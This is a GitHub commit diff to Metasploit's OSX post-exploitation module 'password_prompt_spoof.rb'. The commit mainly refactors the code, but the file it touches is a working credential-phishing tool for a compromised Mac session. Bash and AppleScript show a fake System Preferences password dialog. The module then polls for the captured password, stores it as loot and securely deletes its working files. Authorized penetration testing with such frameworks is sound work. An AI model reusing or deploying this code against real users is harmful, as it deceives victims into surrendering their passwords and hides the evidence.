Skip to content

Commit e185665

Browse files
committed
Incorporate the suggested edits from the PR review.
* Rewrites helpers to just use cmd_exec, since that works in meterpreter and shell. * Changes _EOF_ to EOF, since that threw a harmless error in shell commits * Prefer using Post mixin API instead of rolling-own implementation * Fixes whitespace [SeeRM rapid7#5940]
1 parent 99ef714 commit e185665

File tree

1 file changed

+37
-47
lines changed

1 file changed

+37
-47
lines changed

modules/post/osx/gather/password_prompt_spoof.rb

Lines changed: 37 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -10,39 +10,43 @@ class Metasploit3 < Msf::Post
1010

1111
def initialize(info={})
1212
super( update_info( info,
13-
'Name' => 'Prompt the Mac OSX user for password credentials.',
13+
'Name' => 'OSX Password Prompt Spoof',
1414
'Description' => %q{
15-
This module "spoofs" the OSX password prompt dialog, forcing a
16-
logged-in user to type in a password and click Enter.
15+
Presents a password prompt dialog to a logged-in OSX user.
1716
},
1817
'License' => MSF_LICENSE,
19-
'Author' => [ 'Joff Thyer <jsthyer at gmail.com>',
20-
'joev <jvennix[at]rapid7.com>' ],
18+
'Author' => [
19+
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
20+
'joev <jvennix[at]rapid7.com>' # bug fixes
21+
],
2122
'Platform' => [ 'osx' ],
23+
'References' => [
24+
['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
25+
],
2226
'SessionTypes' => [ "shell", "meterpreter" ]
2327
))
2428

25-
register_options( [
29+
register_options([
2630
OptString.new(
27-
'TEXTCREDS',
31+
'TEXTCREDS',
2832
[
29-
true,
33+
true,
3034
'Text displayed when asking for password',
3135
'Type your password to allow System Preferences to make changes'
3236
]
3337
),
3438
OptString.new(
35-
'ICONFILE',
39+
'ICONFILE',
3640
[
37-
true,
41+
true,
3842
'Icon filename relative to bundle',
3943
'UserUnknownIcon.icns'
4044
]
4145
),
4246
OptString.new(
43-
'BUNDLEPATH',
47+
'BUNDLEPATH',
4448
[
45-
true,
49+
true,
4650
'Path to bundle containing icon',
4751
'/System/Library/CoreServices/CoreTypes.bundle'
4852
]
@@ -76,37 +80,37 @@ def run
7680
runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
7781
creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
7882
creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
79-
passfile = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
83+
pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
8084

81-
username = cmd_exec("/usr/bin/whoami")
85+
username = cmd_exec("/usr/bin/whoami").strip
8286
cmd_exec("umask 0077")
8387
cmd_exec("/bin/mkdir #{dir}")
8488

8589
# write the script that will launch things
86-
write_file(runme,run_script())
90+
write_file(runme, run_script)
8791
cmd_exec("/bin/chmod 700 #{runme}")
8892

8993
# write the credentials script, compile and run
90-
write_file(creds_osa,creds_script(passfile))
94+
write_file(creds_osa,creds_script(pass_file))
9195
cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
9296
cmd_exec("#{runme} #{creds}")
9397
print_status("Waiting for user '#{username}' to enter credentials...")
9498

9599
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
100+
pass_found = false
96101
while (::Time.now.to_f < timeout)
97-
fileexist = cmd_exec("ls #{passfile}")
98-
if fileexist !~ /No such file/
102+
if ::File.exist?(pass_file)
99103
print_status("Password entered! What a nice compliant user...")
104+
pass_found = true
100105
break
101106
end
102-
Kernel.select(nil, nil, nil, 0.5)
107+
Rex.sleep(0.5)
103108
end
104109

105-
if fileexist !~ /No such file/
106-
password_data = cmd_exec("/bin/cat #{passfile}")
110+
if pass_found
111+
password_data = read_file("#{pass_file}").strip
107112
print_status("password file contents: #{password_data}")
108-
passf = store_loot("password", "text/plain",
109-
session, password_data, "passwd.pwd", "OSX Password")
113+
passf = store_loot("password", "text/plain", session, password_data, "passwd.pwd", "OSX Password")
110114
print_status("Password data stored as loot in: #{passf}")
111115
else
112116
print_status("Timeout period expired before credentials were entered!")
@@ -116,25 +120,24 @@ def run
116120
cmd_exec("/usr/bin/srm -rf #{dir}")
117121
end
118122

119-
120-
def run_script(wait=false)
121-
ch = if wait == false then "&" else "" end
123+
# "wraps" the #creds_script applescript and allows it to make UI calls
124+
def run_script
122125
%Q{
123126
#!/bin/bash
124-
osascript <<_EOF_ #{ch}
127+
osascript <<EOF
125128
set scriptfile to "$1"
126129
tell application "AppleScript Runner"
127130
do script scriptfile
128131
end tell
129-
_EOF_
132+
EOF
130133
}
131134
end
132135

133-
134-
def creds_script(passfile)
136+
# applescript that displays the actual password prompt dialog
137+
def creds_script(pass_file)
135138
textcreds = datastore['TEXTCREDS']
136139
ascript = %Q{
137-
set filename to "#{passfile}"
140+
set filename to "#{pass_file}"
138141
set myprompt to "#{textcreds}"
139142
set ans to "Cancel"
140143
repeat
@@ -161,31 +164,18 @@ def creds_script(passfile)
161164
try
162165
close access myfile
163166
end try
164-
end try
167+
end try
165168
}
166169
end
167170

168171
# Checks if the target is OSX Server
169172
def check_server
170-
# Get the OS Name
171-
osx_ver = case session.type
172-
when /meterpreter/
173-
cmd_exec("/usr/bin/sw_vers", "-productName").chomp
174-
when /shell/
175-
session.shell_command_token("/usr/bin/sw_vers -productName").chomp
176-
end
177-
178-
osx_ver =~ /Server/
173+
cmd_exec("/usr/bin/sw_vers -productName").chomp =~ /Server/
179174
end
180175

181176
# Enumerate the OS Version
182177
def get_ver
183178
# Get the OS Version
184-
case session.type
185-
when /meterpreter/
186-
cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
187-
when /shell/
188-
session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
189-
end
179+
cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
190180
end
191181
end

0 commit comments

Comments
 (0)